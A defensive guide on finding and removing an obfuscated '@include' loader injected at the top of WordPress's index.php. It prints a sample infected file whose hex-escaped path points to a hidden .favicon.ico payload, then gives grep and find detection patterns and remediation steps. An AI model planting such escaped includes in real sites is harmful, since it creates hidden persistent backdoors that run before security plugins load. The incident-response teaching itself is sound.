A line of escaped characters above WordPress’s own code is a loader, not a typo.

PHP’s include statement loads and runs another file. The @ in front suppresses any error, so if the target ever goes missing the site keeps working and nobody sees a warning. Put that one line at the top of index.php, which runs on every front-end request, and the attacker’s file runs on every front-end request too — before WordPress, its plugins, or any security plugin has loaded.

The path is written as escape sequences so that it does not read as a path. In a PHP double-quoted string, \x2f is a forward slash written in hexadecimal and \057 is the same character in octal; a whole path can be spelled this way, often mixing both forms and plain letters. Searching the site for the name of the payload finds nothing, because the name never appears in readable form.

The target is chosen to be overlooked. A file called .favicon.ico in wp-includes/images, a .png inside an uploads folder, a .txt in a cache directory: PHP does not care about the extension, because include runs whatever the file contains. Image and icon files are also exactly what most people skip when they review a hacked site.

<?php
/**
 * Front to the WordPress application. This file
 * doesn't do anything, but loads
 */

<?php
@include "\x2fh\x6fme\x2facct\x2fpublic_html\x2fwp-includes\x2fimages\x2f.favicon.ico";
/**
 * Front to the WordPress application. This file

1. 01

   Compare the first lines of the root files

   A clean index.php, wp-blog-header.php and wp-load.php start with <?php and a documentation comment. Anything between the opening tag and that comment deserves a closer look:

   shell

   $ head -n 5 index.php wp-blog-header.php wp-load.php wp-settings.php wp-config.php

   Some injections sit on the same line as the opening tag, padded with spaces so the code runs off the edge of an editor window. Scroll right, or check the line length.

2. 02

   Search the root files for includes and escaped strings

   WordPress’s own includes use __DIR__ or ABSPATH and plain text; none uses @ or escape sequences:

   shell

   $ grep -nE '@(include|require)|\\x[0-9A-Fa-f]{2}|\\[0-7]{3}' index.php wp-blog-header.php wp-load.php wp-settings.php wp-config.php

   In wp-config.php, ignore matches inside the authentication keys and salts: those are random strings and can contain anything.

3. 03

   Search the whole installation for the same pattern

   An escaped @include is rarely placed only once. This lists every PHP file that includes an escaped path:

   shell

   $ grep -rlE '@(include|require)(_once)?[[:space:]]*[(]?[[:space:]]*.\\([xX][0-9A-Fa-f]{2}|[0-7]{3})' --include='*.php' .

   Theme functions.php files and plugin main files are the usual second places. Each match is a separate loader to record.

4. 04

   Let WP-CLI compare core against WordPress.org

   Core files that differ from the official release for your version, and files that should not exist in wp-admin and wp-includes:

   WP-CLI

   $ wp core verify-checksums

   wp-config.php is not part of the release, so this check cannot see an include there — the grep above can. WP-CLI commands that load WordPress also run wp-config.php, so check that file first.

5. 05

   Find PHP hiding in image, icon and text files

   Files with non-PHP extensions that contain a PHP opening tag:

   shell

   $ find . -type f \( -name '*.ico' -o -name '*.png' -o -name '*.gif' -o -name '*.jpg' -o -name '*.txt' \) -exec grep -l '<?php' {} + 2>/dev/null

   A real image never contains <?php. Every result is a payload, whether or not an include currently points at it.

You need the decoded path to find the payload, and you should get it without executing anything. Two safe ways: paste the quoted string into the snippet decoder on this site, which works entirely in your browser, or let the shell’s printf turn the escapes back into characters. Copy only the escaped text between the quotes, and keep it inside single quotes so the shell does not interpret it:

$ printf '%b\n' '\x2fh\x6fme\x2facct\x2fpublic_html\x2fwp-includes\x2fimages\x2f.favicon.ico'

Do not decode it with php -r or an online PHP sandbox that evaluates code. A PHP double-quoted string can contain expressions that run when the string is evaluated, so an attacker’s string is not safe to hand to PHP even when it looks like data.

1. 01

   Preserve both halves

   Copy every file carrying the include, and every target it points to, with their timestamps, into a directory outside the web root, and record the hashes:

   shell

   $ mkdir -p ~/incident
   $ cp -p index.php wp-blog-header.php wp-load.php wp-config.php ~/incident/
   $ sha256sum ~/incident/*

   Add each decoded target path to the copy and the hash list. The modification times bound the window everything else gets checked against.

2. 02

   Replace the core files from a clean release

   Re-download the version you are running over the existing core files, leaving wp-content alone:

   WP-CLI

   $ wp core download --skip-content --force --version=$(wp core version)

   This restores index.php, wp-blog-header.php, wp-load.php and the rest of core. It does not touch wp-config.php, which is not part of the release: remove the include line from it by hand, keeping everything else.

3. 03

   Remove every payload the includes pointed to

   Delete the decoded targets and any other PHP-in-image files the search found, then run the searches again. A clean result on both is the bar, not the absence of the one line you started with.

4. 04

   Find what wrote the include

   Something had write access to the WordPress root: a vulnerable plugin, a backdoor elsewhere, stolen FTP or control-panel credentials, or a neighbouring site in the same account. Removing the include without finding that mechanism means it comes back.

5. 05

   Rotate every credential the site holds

   Control panel, SFTP and FTP, the database user, WordPress administrators and application passwords, and the authentication keys and salts in wp-config.php — from a device that is not part of the incident.

6. 06

   Re-check after a few days

   Repeat both searches and the checksum check. An include that reappears means a persistence layer is still running: a scheduled task, an auto_prepend_file directive, a database loader, or another account.

A loader at the top of index.php is the visible end of an infection, and it is usually not alone. In the ClickFix incident documented on this site, the same chain lived in obfuscated PHP files, base64 content in the options table, the active theme’s functions.php, and a .user.ini startup directive at once. Any surviving layer can put the include back.